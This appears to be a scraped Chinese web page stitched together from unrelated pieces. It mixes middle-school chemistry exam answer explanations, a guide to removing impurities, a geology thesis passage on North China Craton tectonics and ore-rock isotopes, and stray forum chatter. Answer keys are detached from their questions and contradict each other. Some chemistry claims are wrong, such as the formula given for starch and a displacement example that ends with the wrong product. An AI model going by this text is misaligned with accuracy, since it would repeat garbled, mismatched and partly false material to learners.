越南语问题

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A、CaO是由钙、氧元素组成的化合物，则属于氧化物；B、O2是由氧元素组成的单质，不属于氧化物；C、KClO3是由三种元素组成的化合物，不属于氧化物；D、H2SO4是由三种元素组成的化合物，不属于氧化物．故选：A．

【答案】D【答案解析】试题分析：地壳中元素含量多少的排列顺序由高到低为，氧、硅、铝、铁，所以地壳中含量最多的金属元素为铝，而含量最多的非金属元素为氧。它们形成的化合物为Al2O3。考点：地壳中元素含量。点评：此题考查的是化学常识，属于一个小型的推断题，考生应注意平时的积累总结。

A．石灰乳为氢氧化钙，石灰乳的化学式为Ca（OH）2，故A错误；B．次氯酸为弱酸，存在电离平衡，则次氯酸的电离方程式为HClO?H++ClO-，故B错误；C．氯的质子数为17，其离子核外有18个电子，则氯离子的结构示意图：，故C正确；D．中子数为146、质子数为92，质量数为146+92=238，则中子数为146、质子数为92的铀（U）原子：23892U，故D错误；故选C．

在大地构造位置上，研究区位于华北克拉通（NCC）和中亚造山带（CAOB）东段（兴蒙造山带）的结合部位，属于二者过渡带华北克拉通北缘隆起带（程裕淇等，1994），或内蒙地轴（任纪舜等，1980）范围内；北界大致以白云鄂博-赤峰大断裂与兴蒙造山带为界，南界以赤城-平泉-承德-北票大断裂为界，其西段南部与鄂尔多斯坳陷相邻，东段南部与燕辽坳陷带毗邻。区内出露的地层主要为前寒武纪变质岩系。哈达门沟金矿区和金厂沟梁金矿区分别位于内蒙地轴的西段和中东段。结合前人的研究成果，对研究区的大地构造单元进行归纳分述。一、中亚造山带（CAOB）中亚造山带是一条位于西伯利亚板块与塔里木-华北克拉通之间的巨大的增生型造山带，宽800km左右（图2-1a）（Xiao et al.，2003；Jian et al.，2008，2010），其主要构造单元包括蛇绿岩套、岛弧、洋岛、增生楔和微陆块（Khain et al.，2003；Xiao et al.，2003 ；Jian et al.，2008，2010）。中亚造山带是古亚洲洋长期演化及其与相邻板块相互作用的产物，以古生代小型陆块与缝合带镶嵌、新生代山-盆耦合的地质构造格局为特征。古亚洲洋曾存在于西伯利亚、塔里木、华北克拉通之间，是包括了众多小洋盆和微陆块的多岛洋。古亚洲洋俯冲消减导致岩浆弧大量发育和陆壳显著增生，洋盆于古生代末（局部可能延至中生代初）闭合，然后西伯利亚与塔里木、华北克拉通之间发生碰撞造山作用，形成中亚造山带。由于大陆碰撞期间的强大挤压应力被两大陆之间的块体旋转、走滑、压剪、拉分等作用所消耗，因此，这种由多岛洋演化、闭合而形成的大陆造山带具有强增生、弱碰撞的特点，被称为增生型造山带（陈衍景，2009a，b）。兴蒙造山带位于西伯利亚和华北克拉通之间，属于巨型中亚造山带的东端（图2-1），其位于内蒙古的主体构造格架包括南部造山带、北部造山带和其间的索伦缝合带（Jian et al.，2008，2010）。南部造山带（图2-1b）主要构造单元包括一处俯冲杂岩、一条蛇绿岩带和白乃庙岛弧链。前两者形成了温都尔庙俯冲增生杂岩（Xiao et al.，2003），其主体为浊流岩、滑塌混杂堆积和蓝片岩（胡骁等，1990）。蓝片岩中蓝闪石的40 Ar/39 Ar年龄为420～450 Ma（Jian et al.，2008）。蛇绿岩由几个向南俯冲的岩片所组成，呈东西向带状分布，长约200 km，宽约25 km，主要出露在图林凯地区（Jian et al.，2008）。白乃庙岛弧链以赤峰-白云鄂博断裂为界，与华北克拉通呈断层接触。主要为中奥陶-早志留世岛弧，主要岩性组合包括从钙-碱性拉斑玄武岩到少量的长英质熔岩，碱性玄武岩、杂砂岩、火山角砾岩、凝灰岩、花岗闪长岩和花岗岩类等，其向东延伸至林西—巴林右旗一带，向西可以延伸到包头一带（尚恒胜等，2003；陶继雄等，2005）。索伦缝合带（图2-1b）以索伦-林西二叠纪—早三叠世（约299～246 Ma）蛇绿岩为标志。这条缝合带标志着中亚造山带在内蒙古地区演化的结束（Xiao et al.，2003），并在构造上将南方造山带和北方造山带相分割（Sengör et al.，1993）。北方造山带（图2-1b）由南向北包括3个主要的地质单元：锡林浩特低P/T变质杂岩（Shi et al.，2003）、二道井俯冲增生杂岩（徐备等，1997）和白彦宝力道伸展的TTG侵入岩体（Chen et al.，2004）。北方造山带以北为贺根山蛇绿岩增生杂岩带，后者与乌里雅斯台陆缘相接（Xiao et al.，2003；Jian et al.，2008，2010）。图2-1 研究区所处的大地构造背景示意图二、华北克拉通（NCC）过去也称 “华北地台” 或 “中朝地台”，呈倒三角形，面积大约150万km2，为具有太古宙和元古宙结晶基底的大陆克拉通，边界为断层和显生宙造山带。其北部以赤峰-白云鄂博深大断裂带与兴蒙造山带为界，南部以黑沟-栾川断裂与秦岭-大别造山带为界，西部为祁连造山带，东部为苏鲁造山带（Yang et al.，2003）（图2-1a）。华北克拉通是我国最古老的克拉通，存在大于3.8 Ga的古老岩石（Huang et al.，1986；刘敦一，1991 ；刘敦一等，2007；Liu et al.，1992；Song et al.，1996；Wanet al.，2005），在其漫长的地质演化过程中，华北克拉通经历了大于3.0 Ga陆核与微陆块的形成；2.7 ～2.9 Ga的陆壳增生；2.5 Ga的岩浆、变质作用与克拉通化；2.3～1.9 Ga的古元古代活动带；1.8 Ga的基底隆升与裂谷-非造山岩浆事件。中元古代是稳定环境下的拉伸阶段，沿陆块南北两缘形成三大裂谷系（燕辽、狼山-渣尔泰、熊耳山-西阳河）。从新元古代末到三叠纪，华北陆块处于稳定的状态，没有强烈的构造变动，接受了统一的盖层沉积，只有南北两缘受秦岭造山带和中亚造山带的影响，发生了一些构造变动和岩浆活动。中生代，华北克拉通则经历了强烈的中生代构造格局的转变和克拉通的破坏与重建；新生代，华北克拉通的东缘属于环太平洋构造带的一部分，华北克拉通再次出现强烈的构造运动和岩浆活动，即 “地台活化” 或 “板内运动”（翟明国，2010；李俊健等，2010）。对华北克拉通基底微陆块的划分是一个极为复杂而争议甚多的问题，主要有以下观点：《中国大地构造及演化1：400万中国大地构造图说明书》（任纪舜等，1980）将华北陆块划分为10个二级构造单元，分别为阿拉善台隆、鄂尔多斯台褶带、鄂尔多斯台坳、内蒙地轴、山西断隆、燕山台褶带、华北断坳、胶辽台隆、鲁西断隆和豫西断隆。这个划分是后来各种不同划分方案的基础（李俊健等，2010）。程裕淇（1994）将华北陆块划分为10个三级构造单元：阿拉善隆起地块、华北北缘隆起带、燕辽中元古裂谷带、鄂尔多斯中生代坳陷盆地、鄂尔多斯新生代边缘地堑、山西隆起、华北南缘中元古代裂谷带、胶辽隆起、鲁淮断隆和华北新生代断陷盆地。白瑾等（1996）将华北陆块划分为渤海、辽吉、东胜、赤峰、临汾、济宁、阿拉善7个古陆块。伍家善等（1998）将华北陆块划分为胶辽、迁怀、晋冀、豫皖、蒙陕等5个独立的前寒武纪陆块。翟明国等（Zhai et al，2000）将华北克拉通划分为6个古陆块：胶辽陆块、迁怀陆块、阜平陆块、许昌陆块、集宁陆块和阿拉善陆块。邓晋福等（1999）将华北陆块划分为吉辽、燕辽、怀宣、胶辽、鲁西、沁水、太华、五准、鄂尔多斯和阿拉善等10个陆核区。赵国春等（2002）和赵国春（2009）将华北克拉通基底划分为东部陆块、西部陆块和中间带，其中西部陆块由其南部的鄂尔多斯陆块和北部的阴山陆块沿华北西部的孔兹岩带在古元古代（1.95 Ga左右）碰撞对接而成，在大约1.85 Ga时，东西陆块沿中部带发生碰撞拼合，形成现在的华北陆块结晶基底。李俊健等（2010）基于地块拼合的观点，将华北克拉通划分为辽吉、燕辽、阴山、晋冀、豫皖、鲁西、胶北、阿拉善等8个前寒武纪地块和鄂尔多斯、华北等两个中新生代盆地（图2i2）。这些观点都表明克拉通是由刚性小陆块拼合而成的，小陆块的构造拼合形成华北克拉通的主体。目前存在的分歧是陆块拼合的时代：一种认为小陆块的拼合发生在新太古代，即克拉通在新太古代就已克拉通化，古元古代只是在太古宙克拉通的基础上的裂解和再闭合（赵宗溥等，1993；白瑾等，1993；程裕祺，1994；陆松年等，1996；伍家善等，1998；翟明国，2004，2007；Zhai et al.，2000；Zhai，2004）。另一种认为华北克拉通在太古宙末还不是一个整体，直到古元古代末才由一些陆块和弧体碰撞拼合成统一的华北克拉通，即华北克拉通是吕梁运动才克拉通化的，形成裂谷或坳拉谷的时期在中元古代（卢良兆等，1992；贺高品等，1998；吴昌华等，1994；李江海等，2000；赵国春等，2002；赵国春，2009；Zhao et al.，2001a，b，2003）。持太古宙克拉通观点的学者认为晋蒙孔兹岩是太古宙（盆地或盖层）沉积形成的，仅胶辽孔兹岩是古元古代（裂谷）沉积作用的产物；持吕梁运动拼合成华北克拉通观点的学者则认为晋蒙、胶辽孔兹岩都是古元古代的陆缘沉积岩。图2-2 华北克拉通几种代表性的构造划分方案华北克拉通东部岩石圈减薄（破坏）已成为近十年来国内外研究的热门课题。山东蒙阴和辽宁复县金伯利岩中矿物包裹体显示在形成时（470 Ma左右）具有约200 km 厚的岩石圈（Fan et al.，1992；Menzies et al.，1993；路凤香等，2006），而新生代玄武岩中的幔源包体研究获得的岩石圈厚度为80～120 km（池际尚，1996），由此看来华北东部自早古生代以来发生过百余千米的岩石圈减薄。但关于岩石圈减薄的具体时间、减薄幅度、空间分布范围、机制及其构造控制因素，还存在分歧（吴福元等，2003，2008），主要包括：(1)岩石圈减薄与克拉通破坏发生的时间：韩宝福等（2004）认为三叠纪或更早时期华北克拉通就已经存在岩石圈减薄。许文良等（2006）认为，由于扬子克拉通向华北克拉通的俯冲导致了华北克拉通东缘加厚地壳的形成，加厚的榴辉岩可能很快就发生了拆沉，因此，华北克拉通的破坏可能从三叠纪就已开始。不少研究者提出华北岩石圈减薄和破坏的时间在空间上是不均匀的（徐义刚，2004；Zheng et al.，2007）。华北晚白垩世至新生代软流圈来源玄武岩就是岩石圈减薄的直接标志（路凤香等，2006），因而，岩石圈减薄的高峰期应在65 Ma之后的新生代。一种观点认为，整个侏罗—白垩纪都是克拉通破坏的时期，但另一种观点则认为，克拉通破坏只发生在侏罗—白垩纪的某一时段。徐义刚等（Xu et al.，2004；徐义刚，2006）认为华北克拉通破坏的高峰应在晚白垩世，而整个岩石圈的破坏过程持续时间超过100 Ma。Gao et al.（2004）认为华北克拉通破坏至少在中侏罗世已经开始。Yang et al.（2008）认为真正的岩石圈拆沉应发生在120～130 Ma之间。姜耀辉等（2005）根据辽东半岛的研究认为，华北克拉通应该存在两期岩石圈减薄，早期的岩石圈减薄可能在155 Ma之前已经开始，而120～130 Ma之间的早白垩世是减薄的峰期。翟明国（2010）认为华北克拉通中生代构造体制转折始于150～140 Ma，终于110～100 Ma，峰期是120 Ma。从上述讨论可以看出，关于中国东部岩石圈减薄的时间问题，目前尚未有定论。(2)岩石圈减薄的垂向幅度：基本上有两种观点，绝大多数人认为岩石圈减薄只发生在岩石圈地幔内部。如果减薄是均匀的，则现今的岩石圈地幔是由上部减薄后的残留和下部新生地幔组成（Menzies et al.，1993；Zheng et al.，2007）。第二种观点认为，减薄已涉及地壳，应是部分下地壳连同下部的岩石圈地幔一同被减薄（吴福元等，1999，2003；高山等，2003；邓晋福等，2003，2006）。(3)克拉通破坏的分布范围：大多数学者认为，克拉通破坏主要发生在太行山以东地区。其主要证据是西部的鄂尔多斯盆地在中新生代期间基本保持稳定，且岩浆活动微弱，地热梯度低（Gao et al.，2002；Zheng et al.，2007；Xu et al.，2008）。另外一种观点认为，华北克拉通的岩石圈减薄只是局限在周边的造山带范围内，而华北的腹地并未发生减薄。还有学者认为，尽管并无明确的反映岩石圈厚度变化的证据，岩石圈减薄和克拉通破坏应同样发育在我国东部的其他地区（Wu et al.，2005；Xu，2007；Zheng etal.，2006，2007）。(4)克拉通破坏机制：一种观点认为下部岩石圈地幔的拆沉导致了华北的岩石圈减薄，并用此模型来解释我国东部燕山期大规模岩浆活动的原因（邓晋福等，1994，1996；Gao et al.，2003；Xu et al.，2006；吴福元等，2000；Wu et al.，2006；Huang et al.，2007）。一种观点是热侵蚀（热-机械侵蚀）导致岩石圈减薄（Menzies et al.，1993；Menzies and Xu，1998；Griffin et al.，1998；Xu YG et al.，2008；Zheng et al.，2007），其他认识包括橄榄岩与熔体的相互作用（Zhang et al.，2007；张宏福等，2006；Tang et al.，2008）、机械拉张作用、岩浆提取作用（Chen et al .，2004）、岩石圈地幔水化模型（Niu，2005）等。(5)克拉通破坏的地球动力学：少数学者认为是印度板块同欧亚板块的碰撞引起的，也有认为是地幔柱的作用导致，还有人认为是扬子和华北板块的拼合（Gao etal.，2002）。多数人认为是太平洋板块俯冲的结果（Sun et al.，2007），一部分学者认为是多方位板块俯冲作用（Zhang et al.，2003；Zhai et al.，2007），从上述情况可以看出，目前对中国东部岩石圈减薄机制的认识还存在很多分歧，主要是对很多地质事实的认知程度有限（吴福元等，2003，2008）。三、华北克拉通北缘华北克拉通北缘系指 “内蒙地轴”（Huang，1945）或阴山-燕山山脉的范围。北侧以白云鄂博-赤峰-开原深断裂与兴蒙造山带为界，在其南侧和东南侧分别与鄂尔多斯坳陷带和燕山褶断带为界，向东延至黑山-昌黎大断裂带上，整个分布于内蒙台背斜东部及燕山沉陷带中。以北票-平泉-古北口-赤城-尚义-包头断裂为界，可分为北部的内蒙古隆起（即 “内蒙地轴”，Huang，1945）和南部燕山褶断带（Davis et al.，2001）（见图2-1b）。有关华北克拉通北缘性质的论述较多（邵济安，1991；王荃等，1991；唐克东，1992；徐备等，1997；张拴宏等，2007；李锦轶等，2009；陈衍景等，2009；葛肖虹，1989），现摘录部分观点：李锦轶等（2009）认为华北克拉通北缘是一条经历了中元古代裂谷、早古生代弧陆碰撞、晚古生代晚期安第斯型大陆边缘，在侏罗纪中晚期叠加了与蒙古-鄂霍次克造山带有关的陆内逆冲叠覆，是具有复杂地质历史的造山系，不具有克拉通的构造属性，并建议把阴山-燕山及其以北的华北克拉通北缘地区，统称为阴山-燕山造山系，其演化历史包括早古生代晚期的弧陆碰撞造山、晚石炭世至二叠纪中期安第斯型俯冲造山、晚二叠世至中三叠世碰撞造山和中-晚侏罗世陆内造山。陈衍景等（2009）对华北板块北缘的性质也提出类似的观点，认为在1850 Ma华北克拉通完成终极克拉通化后，在1850～250 Ma期间，华北克拉通作为统一的大陆整体与其他板块相互作用，其地质演化受到板缘构造作用的影响。华北克拉通北缘，即内蒙地轴-燕山-辽吉地区，很大程度上表现为中亚造山带的特征。葛肖虹（1989）认为华北克拉通北部大陆边缘包括索伦-西拉木伦对接带以南，阴山-大青山以北的广大地区，并把阴山、燕山山脉的巨型构造带称为华北克拉通北缘的板内造山带，华北克拉通北部造山带与板内造山带同形成于一个完整的造山旋回。总体上，华北克拉通北缘既具有华北克拉通的特点，又深受北部造山带的影响，在新元古代—古生代，相对克拉通内部，其表现出更大的活动性，在中生代，北缘和整个华北克拉通一样经历了强烈的中生代构造格局的转变和克拉通的破坏与重建；在新生代，华北克拉通北缘东部属于环太平洋构造带的一部分，与上述重大构造事件相对应，华北克拉通北缘出现大规模的金及多金属的成矿作用，形成了丰富多样的固体矿产资源（Nie et al.，1997a，b；Hart et al.，2002；翟明国，2010）。

试题答案：D试题解析：考查化学键的判断。一般活泼的金属和活泼的非金属容易形成离子键，非金属元素的原子间容易形成共价键。所以A中含有离子键，B中含有极性键，C中也含有极性键，D含有离子键和非极性键，因此答案选D。

A、氧化钙的化学式是CaO，俗称生石灰．故选项错误；B、氢氧化钠的化学式是NaOH，俗称烧碱．故选项正确；C、碳酸钙的化学式是CaCO3，熟石灰是氢氧化钙的俗称．故选项错误；D、碳酸钠的化学式是Na2CO3，小苏打是碳酸氢钠的俗称．故选项错误．故选B．

无图 无法确定 |c| 是＜b 还是 ＞a 又或者是 a＞ |c| ＞b

算少的了，够少了

A、氢氧化钙的俗称是熟石灰或消石灰，其化学式为Ca（OH）2，其名称、俗名、化学式不一致．B、金属汞的俗称是水银，其化学式为：Hg，其名称、俗名、化学式一致．C、葡萄糖的化学式为：C6H12O6；淀粉的化学式为C12H22O11，其名称、俗名、化学式不一致．D、碳酸钠俗称纯碱、苏打，其化学式为Na2CO3，其名称、俗名、化学式不一致．故选B．

A、熟石灰是氢氧化钙的俗称，其化学式为Ca（OH）2，其俗名与化学式不相对应．B、烧碱是氢氧化钠的俗称，其化学式为NaOH，其俗名与化学式相对应．C、生石灰是氧化钙的俗称，其化学式为CaO，其俗名与化学式不相对应．D、纯碱是碳酸钠的俗称，其化学式为Na2CO3，其俗名与化学式不相对应．故选：B．

[进行猜想]根据碱的定义可以判断氢氧化钠和氢氧化钙为碱；氢氧化钠和氢氧化钙吸水后会和二氧化碳反应生成碳酸盐，可以写出它们的化学方程式；[实验过程]（1）根据反应后得到是固体和液体，可以知道该操作为过滤；（2）将样品加入水中后得到较热的浊液，能够使浊液温度升高的是氢氧化钠溶于水放热，氧化钙和水反应放热，故两者都有可能，故排除A；如果固体中含有碳酸钠，其与氢氧化钙接触会产生沉淀，所以在原混合物中不一定有碳酸钙，故排除B；根据所给的物质中能够和氯化钙产生沉淀只有碳酸钠，故可以判断C是正确的；而对于D选项，向溶液C加入酚酞后，酚酞变红虽然可以证明存在着氢氧根离子，但是由于在向样品中加入足量水后，如果样品中同时存在着碳酸钠和氢氧化钙，那么它们要反应生成氢氧化钠，而在后续的操作中不能排除这个反应的干扰，所以不能确定溶液C中的氢氧化钠是来自于样品中，还是反应生成的，故D错；故可以知道该题的答案为：C；（3）若氯化钙过量则继续滴加碳酸钠溶液会产生白色沉淀，所以可以取上层清液，然后向其中加入碳酸钠溶液看能否继续产生沉淀，即可判断；（4）酚酞试液只有遇到碱性溶液才会变红，故在溶液中一定存在着氢氧根离子；[实验结论]根据实验现象即：加入氯化钙溶液产生了白色沉淀，可以得出在该固体中一定含有碳酸钠．故答案为：[进行猜想]NaOH、Ca（OH）2；CaO+H2O═Ca（OH）2、2NaOH+CO2═Na2CO3+H2O[实验过程]（1）过滤（2）C（3）取少量上层清液滴加碳酸钠溶液，如有白色沉淀产生，则说明加入的试剂过量．（4）OH-、Cl-；[实验结论]Na2CO3

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氧化钙与水反应生成氢氧化钙，所形成的溶液是氢氧化钙的水溶液，溶液中的溶质是氢氧化钙．故选：D．

地壳中含量最多的金属元素是铝元素，含量最多的元素是氧元素，组成的化合物为氧化铝，氧化铝中铝元素显+3价，氧元素显-2价，其化学式为：Al2O3．故选：B．

A．CaO和水、二氧化碳的反应中没有元素的化合价变化，不是氧化还原反应，故A不选；B．CuSO4．5H2O风化失去结晶水，没有元素的化合价变化，不是氧化还原反应，故B不选；C．NaOH易潮解，然后与二氧化碳反应，没有元素的化合价变化，不是氧化还原反应，故C不选；D．Na2O2放置在空气中，容易与水、二氧化碳发生反应，且反应都属于氧化还原反应，故D选；故选D．

地壳里各元素的含量由多到少的顺序排列依次是氧，硅，铝，铁，因此地壳中含量最多的金属元素是Al，非金属元素是 O，依据氧元素的化合价为-2，铝元素的化合价为+3，组成的化合物的化学式为：Al2O3；故选D．

A、CaO溶于水与水化合生成氢氧化钙，氢氧化钙溶液显碱性，能使紫色石蕊试液显蓝色．故A不符合题意；B、NaCl的水溶液呈中性，不能使紫色石蕊试液显红色．故B不符合题意；C、CO2溶于水能与水化合生成碳酸，碳酸显酸性，能使紫色石蕊试液显红色．故C符合题意；D、KOH的水溶液显碱性，能使能使紫色石蕊试液显蓝色．故D不符合题意．故选C．

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　　除杂的意思就是去除物质中的杂质，那么有哪些方法可以有效的去除杂质呢?以下是我分享给大家的初中化学除杂质的方法，希望可以帮到你! 　　初中化学除杂质的方法 　　第一，要知道除杂质的原则，除掉杂质的同时，不能生成新的杂质。第二，要背得物质的溶解性表，这样才能很好、很快的找到形成沉淀的离子 　　例如氢氧化钠忠混有碳酸钠，阴离子不同，而碳酸根与很多的阳离子都能形成沉淀，常用的可以是氢氧化钙。这样，反应后就将碳酸钠除掉，生成了氢氧化钠，也不生成新的杂质。 　　将混合物中的几种物质分开而分别得到较纯净的物质，这种方法叫做混合物的分离。将物质中混有的杂质除去而获得纯净物质，叫提纯或除杂。除杂题是初中化学的常见题，它灵活多变，可以综合考察学生的解题能力。现列举几种方法: 　　1物理方法 　　1.l过滤法.原理：把不溶于液体的固体与液体通过过滤而分开的方法称为过滤法。如：氯化钙中含有少量碳酸钙杂质，先将混合物加水溶解，由于氯化钙溶于水，而碳酸钙难溶于水，过滤除去杂质碳酸钙，然后蒸发滤液，得到固体氯化钙。如果要获得杂质碳酸钙，可洗涤烘干。 　　练习1下列混合物可以用溶解、过滤、蒸发操作来分离的是：() 　　A.CaCO3CaOB.NaClKNO3C.NaNO3BaSO4D.KClKClO3 　　1.2结晶法.原理：几种可溶性固态物质的混合物，根据它们在同一溶剂中的溶解度或溶解度随温度的变化趋势不同，可用结晶的方法分离。例如：除去固体硝酸钾中混有的氯化钠杂质，先在较高温度下制成硝酸钾的饱和溶液，然后逐步冷却，由于硝酸钾的溶解度随温度的升高而显著增大，温度降低，大部分硝酸钾成为晶体析出，而氯化钠的溶解度随温度的升高而增大得不显著，所以大部分氯化钠仍留在母液中，通过过滤把硝酸钾和氨化钠溶液分开。为进一步提纯硝酸钾，可再重复操作一次，叫重结晶或再结晶。 　　练习2下列混合物适宜用结晶法分离的是：() 　　A.NaNO3Na2CO3B.NaNO3NaClC.NaOHMg(OH)2D.NaClBaSO4 　　2.化学方法:原理 　　(一)、加入的试剂只与杂质反应，不与原物反应。 　　(二)、反应后不能带入新的杂质。 　　(三)、反应后恢复原物状态。 　　(四)、操作方法简便易行。 　　初中常用化学除杂方法有以下几种： 　　2.1沉淀法:使混合物中的杂质与适当试剂反应，生成沉淀通过过滤而除去。 　　练习3下列混合物可用沉淀法除去杂质(括号内的物质是杂质)的是() 　　A.KNO3〔Ba(NO3)2〕B.NaCl〔KNO3〕C.NaNO3[NaCl]D.Ca(NO3)2[AgCl] 　　2.2化气法:将混合物中的杂质与适当试剂反应变成气体而除去。 　　如：硝酸钠固体中含有少量碳酸钠杂质，可将混合物加水溶解，再加入适量稀硝酸溶液，硝酸与碳酸钠反应生成硝酸钠、水和二氧化碳，再蒸发滤液，获得硝酸钠固体。 　　练习4下列混合物中的杂质(括号内的物质是杂质)适宜用气体法除去的是：() 　　A.NaNO3〔Ba(NO3)2〕B.NaCl[Mg(OH)2]C.KNO3〔K2CO3〕D.Na2SO4〔MgSO4〕 　　2.3置换法:将混合物中的杂质与适量试剂通过发生置换反应而除去。如:硫酸锌固体中含有少量硫酸铜杂质，可将混合物溶解之后，加人适量锌粉，再过滤除去被置换出来的铜，蒸发滤液获得硫酸铜固体。 　　练习5加入下列哪些物质可以除去硫酸亚铁溶液中混有的少量杂质硫酸铜() 　　A.ZnB.FeC.CuD.Mg 　　练习6将混有少量铁粉和锌份的硫酸铜晶体溶于适量水，充分净置过滤，结果是 　　A.滤出了混杂在其中的铁粉B.滤出了混杂在其中的锌粉C.滤出了一些铜粉D.什么也没滤出 　　2.4吸收法:两种以上混合气体中的杂质被某种溶剂或溶液吸收，而要提纯的气体不能被吸收时，可用此方法。 　　如：一氧化碳中含有二氧化碳时，可将混合气体通过盛有氢氧化钠的溶液。 　　2.5其它法:将混合物中的杂质用化学方法转化成其它物质。 　　如：氧化钙中含有碳酸钙，可采用高温燃烧的方法，使碳酸钙高温分解成氧化钙和二氧化碳，二氧化碳扩散到空气中，除去杂质。 　　你的问题不是很明，但也可以归纳： 　　1、液体中除去液体：物理结晶法，如氯化钠中混硝酸钠;沉淀法：KNO3〔Ba(NO3)2〕(加Na2SO4);化气法，氯化钠溶液中混碳酸钠(加稀盐酸);置换法， 　　FeCl2<CuCl2>(加Fe)。 　　2、固体中除去固体：溶解过滤法，CaCO3〈CaO〉;化气法，氯化钠溶液中混碳酸钠(加稀盐酸);置换法， 　　Cu<Fe>(加CuCl2)。 　　3、气体中除去气体：吸收法(见2.4);其他方法：如CO2 通过炽热的氧化铜. 　　初中化学物质除杂技巧 　　1、CO2(CO)：把气体通过灼热的氧化铜， 　　2、CO(CO2)：通过足量的氢氧化钠溶液 　　3、H2(水蒸气)：通过浓硫酸/通过氢氧化钠固体 　　4、CuO(C)：在空气中(在氧气流中)灼烧混合物 　　5、Cu(Fe) ：加入足量的稀硫酸 　　6、Cu(CuO)：加入足量的稀硫酸 　　7、FeSO4(CuSO4)： 加 入足量的铁粉 　　8、NaCl(Na2CO3)：加 入足量的盐酸 　　9、NaCl(Na2SO4)：加入足量的氯化钡溶液 　　10、NaCl(NaOH)：加入足量的盐酸 　　11、NaOH(Na2CO3)：加入足量的氢氧化钙溶液 　　12、NaCl(CuSO4)：加入足量的氢氧化钡溶液 　　13、NaNO3(NaCl)：加入足量的硝酸银溶液 　　14、NaCl(KNO3)：蒸发溶剂 　　15、KNO3(NaCl)：冷却热饱和溶液。 　　16、CO2(水蒸气)：通过浓硫酸。 　　中化学物质除杂注意的问题 　　(1)需净化的气体中含有多种杂质时，除杂顺序：一般先除去酸性气体，如：氯化氢气体，CO2、SO2等，水蒸气要在最后除去。 　　(2)除杂选用方法时要保证杂质完全除掉，如：除CO2最好用NaOH不用Ca(OH)2溶液，因为Ca(OH)2是微溶物，石灰水中Ca(OH)2浓度小，吸收CO2不易完全。 猜你喜欢： 1. 化学实验常见物质除杂方法 2. 初三化学除杂方法及知识点 3. 初中化学除杂质的方法 4. 初中化学常考知识点归纳 5. 人教版九年级化学上册必背知识点

表4-3 中亚造山带含矿岩石的Sr、Nd 同位素续表续表续表续表资料来源：1.李华芹等，1998；2.周刚等，1998；3.陈富文等，1999；4.张前锋等，1994；5.王中刚等，1998；6.贺伯初等，1994；7.王登红等，2002；8.周刚等，1999；9.毕承思等，1993；10.洪大卫等，未发表的资料；11.陈富文等，1999；12.芮宗瑶等，2002；13.杜琦，1988；14.吴福元等，1999；15.赵元艺等，1997；16.秦克章，1998；17.陈德潜等，1995；18.盛继福和付先政，1999；19.赵一鸣，张德全，1997；20.王国政，1997；21.张德全，1993；22.盛继福等，1993；23.王一 先 等，1997；24.Zhu Yongfeng 等，2001；25.Sotnikov 等，1995；26.Kovalenko等，1999；27.Kovalenko 等，1997；28.Kozlov 等，1995；29.Kovalenko 等，1992；30.Lykhin 等，2001；31.Vladimirov等，1998；32.Vladimirov等，1997；33.Heinhorst等，2000。从表4-3可见：1）含矿岩石的Sr初始值ISr绝大多数都小于0.706，εNd值绝大多数为正值（图4-4），同前述花岗岩的总体同位素特点完全一致，说明它们都来源于地幔物质。甚至矿石流体包裹体的Sr同位素也反映了上述特点，说明成矿流体也继承了岩浆来源于地幔物质的性质。某些与钨、锡、稀有金属矿化有关的花岗岩，即便是ISr值较高（0.711～0.728），但是它们的εNd值仍然较高，甚至仍为正值，或在零值附近摆动，仍然表明了地幔来源物质的强烈影响。只有一些出露在微陆块上的含矿岩石，如内蒙古白乃庙、俄罗斯外贝加尔和山区阿尔泰的某些稀有金属、钨锡矿床的含矿岩石才显出εNd为负值的特点，这同上述区域花岗岩的特点也是完全一致的。图4-4 中亚造山带（CAOB）含矿岩石的ε Nd -I Sr 图解CAOB据表4-3，DM，MORB，EMⅠ和EMⅡ据Zindler and Hart，19862）含矿岩石，尤其是与钨、锡、稀有金属矿化有关的岩石，一般都是岩浆演化晚期分异比较充分的岩石，但是它们的同位素特点却同区域花岗岩一致，没有受到岩浆结晶分异和矿化作用的影响。3）尽管本区矿床的成矿时代跨度较大，但是它们的Sr，Rb同位素系统却是稳定的，变化范围狭窄，说明从早古生代直至中生代，含矿岩石的来源基本类似。同区域花岗岩一样，含矿岩石的εNd值从早古生代到中生代逐渐降低，尤其是200 Ma以后的中生代含矿岩石，εNd值都趋近于零，说明本区的含矿岩石同区域花岗岩一样，是中生代对流地幔输入改造显生宙地壳的结果。

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这个事件的整个分析，MM八卦网上有一篇舒淇删微博分析，还有她早期照片3点

混合物中氧元素的质量分数为：1.8g4g×100%=45%；氧化镁（MgO）中氧元素的质量分数为：1640×100%=40%；所以要达到混合物中氧元素的质量分数为45%，另一种金属氧化物中氧元素的质量分数需大于45%；A、CaO中氧元素的质量分数为：1656×100%≈28.6%＜45%，故A不适合；B、Fe2O3中氧元素的质量分数为：16×3160×100%=30%＜45%，故B不适合；C、Al2O3中氧元素的质量分数为：16×3102×100%≈47.1%＞45%，故C适合；D、CuO中氧元素的质量分数为：1680×100%=20%＜45%，故D不适合．故选C．

你好，直接在链接框输入这个网址即可，什么类容看楼主需要进去只有选择吧

A、CaCO3 高温 . CaO+CO2↑；与诗句“烈火焚烧若等闲”有关，故正确；B、CaO+H2O=Ca（OH）2，与诗句“粉身碎骨浑不怕”有关，故正确；C、Ca（OH）2+CO2=CaCO3↓+H2O，与诗句“要留清白在人间”有关，故正确；D、CO2+H2O=H2CO3与诗意无关，此为二氧化碳与水反应的化学方程式．故错误；故选D．

CxHy+2O2=CO2+2H2O,我想问你这些系数从哪里来的?为什麼是2O2,CO2和2H2O?计算得到燃料的质量为44g,分子量是44,因此物质的量是1mol.而物质的量O2=5mol,CO2=3mol,H2O=4mol所以明显方程应该是CxHy+5O2=3CO2+4H2O好吧?元素守恒,x=3,y=8,答案是C3H8

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怎么听起来那么像粗话！！！！

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答案C解析：熟石灰的溶解度随温度的升高而减小．加入氧化钙，氧化钙会和水反应，生成氢氧化钙，既减少溶剂，又增加溶质，因而可以将不饱和溶液变为饱和溶液；升温使溶解度减小和恒温蒸发溶剂，也能将不饱和溶液变为饱和溶液．但是降温会使溶解度增大，不能将不饱和溶液变为饱和溶液．查看原帖>>

怎么也不能，因为广电垃圾，联通，电信能上的，广电有许多不能上

